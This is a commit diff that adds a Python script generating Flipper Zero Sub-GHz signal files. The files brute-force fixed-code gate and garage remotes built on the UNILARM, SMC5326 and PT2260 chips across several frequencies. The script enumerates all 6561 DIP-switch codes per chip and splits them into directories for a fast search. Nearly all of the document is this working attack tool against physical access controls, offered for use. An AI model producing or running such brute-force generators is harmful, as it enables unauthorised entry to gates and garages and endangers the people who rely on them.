Adding initial files

Sub-GHz/Gates/Bruteforcing/SMC5326_UNILARM_PT2260/generate.py

@@ -0,0 +1,152 @@
+import math
+import os
+
+# Refer from https://github.com/tobiabocchi/flipperzero-bruteforce
+def key_bin_str_to_sub(bin_str):
+	sub = ""
+	line_len = 0  # keep lines under 2500 chars
+	for bit in bin_str:
+		if line_len > 2500:
+			sub += "\nRAW_Data: "
+			line_len = 0
+		sub += transposition_table[bit]
+		line_len += len(transposition_table[bit])
+	sub += stop_bit
+	return sub
+
+file_header = (
+	"Filetype: Flipper SubGhz RAW File\n"
+	+ "Version: 1\n"
+	+ "Frequency: %s\n"
+	+ "Preset: FuriHalSubGhzPresetOok650Async\n"
+	+ "Protocol: RAW\n"
+)
+
+transposition_table = {
+	'0':'150 -650 ',
+	'1':'550 -250 '
+}
+
+stop_bit = "150 -5600 "
+
+total_bits = 25
+
+# Generate .sub files for Brute force UNILARM
+# Refer from https://medium.com/csg-govtech/breaking-protocol-d3988fa85eef
+sub_file = []
+lut = [0b00, 0b10, 0b11]
+gate1 = 3 << 7
+gate2 = 3 << 5
+for dip in range(3**8):
+	total = 0
+	for j in range(8):
+		total |= lut[dip % 3] << (2 * j)
+		dip //= 3
+	total <<= 9
+	total |= gate1
+	# Play the signal 3 times
+	sub_file.append("RAW_Data: " + key_bin_str_to_sub(bin(total)[2:].zfill(total_bits))*3)
+
+# Create directory from 6561 to 9
+n_files = 7
+splits = [
+    int(pow(3, 8) / _) for _ in [pow(3, _) for _ in range(n_files)]
+]
+
+for s in splits:
+	os.makedirs(f"UNILARM_330/{s}", exist_ok=True)
+	os.makedirs(f"UNILARM_433/{s}", exist_ok=True)
+
+for frequency in ["330000000","433920000"]:
+	i = 1
+	while i != 3**n_files:
+		n = 3**8 // i
+		for j in range(i):
+			open(f"UNILARM_{frequency[:3]}/{n}/{math.floor((j*n)/(n*3))}_{j}.sub",'w').write(file_header%(frequency)+'\n'.join(sub_file[j*n:(j*n)+n]))
+		i*=3
+
+# Generate .sub files for Brute force SMC5326
+
+transposition_table = {
+	'0':'300 -900 ',
+	'1':'900 -300 '
+}
+
+stop_bit = "900 -7500 "
+
+sub_file = []
+lut = [0b00, 0b10, 0b11]
+gate1 = 0b111010101
+gate2 = 0b101110101
+
+
+for dip in range(3**8):
+	total = 0
+	for j in range(8):
+		total |= lut[dip % 3] << (2 * j)
+		dip //= 3
+	total <<= 9
+	total |= gate1
+	# Play the signal 5 times
+	# Change to 3 if want to brute force faster
+	sub_file.append("RAW_Data: " + key_bin_str_to_sub(bin(total)[2:].zfill(total_bits))*5)
+
+# Create directory from 6561 to 7
+for s in splits:
+	os.makedirs(f"SMC5326_330/{s}", exist_ok=True)
+	os.makedirs(f"SMC5326_433/{s}", exist_ok=True)
+
+for frequency in ["330000000","433920000"]:
+	i = 1
+	while i != 3**n_files:
+		n = 3**8 // i
+		for j in range(i):
+			open(f"SMC5326_{frequency[:3]}/{n}/{math.floor((j*n)/(n*3))}_{j}.sub",'w').write(file_header%(frequency)+'\n'.join(sub_file[j*n:(j*n)+n]))
+		i*=3
+
+# Generate .sub files for Brute force PT2260
+
+transposition_table = {
+	'0':'300 -850 ',
+	'1':'850 -300 '
+}
+
+stop_bit = "300 -8800 "
+
+total_bits = 24
+
+sub_file = []
+# Switch to center is inverted compare to UNILARM and SMC5326
+lut = [0b00, 0b01, 0b11]
+# Got four buttons
+button_open = 0b11
+button_lock = 0b1100
+button_stop = 0b110000
+button_close = 0b11000000
+
+for dip in range(3**8):
+	total = 0
+	for j in range(8):
+		total |= lut[dip % 3] << (2 * j)
+		dip //= 3
+	total <<= 8
+	total |= button_open
+	# Play the signal 5 times
+	# Change to 3 if want to brute force faster
+	sub_file.append("RAW_Data: " + key_bin_str_to_sub(bin(total)[2:].zfill(total_bits))*5)
+
+# Create directory from 6561 to 7
+for s in splits:
+	os.makedirs(f"PT2260_315/{s}", exist_ok=True)
+	os.makedirs(f"PT2260_330/{s}", exist_ok=True)
+	os.makedirs(f"PT2260_390/{s}", exist_ok=True)
+	os.makedirs(f"PT2260_433/{s}", exist_ok=True)
+
+
+for frequency in ["315000000","330000000","390000000","433920000"]:
+	i = 1
+	while i != 3**n_files:
+		n = 3**8 // i
+		for j in range(i):
+			open(f"PT2260_{frequency[:3]}/{n}/{math.floor((j*n)/(n*3))}_{j}.sub",'w').write(file_header%(frequency)+'\n'.join(sub_file[j*n:(j*n)+n]))
+		i*=3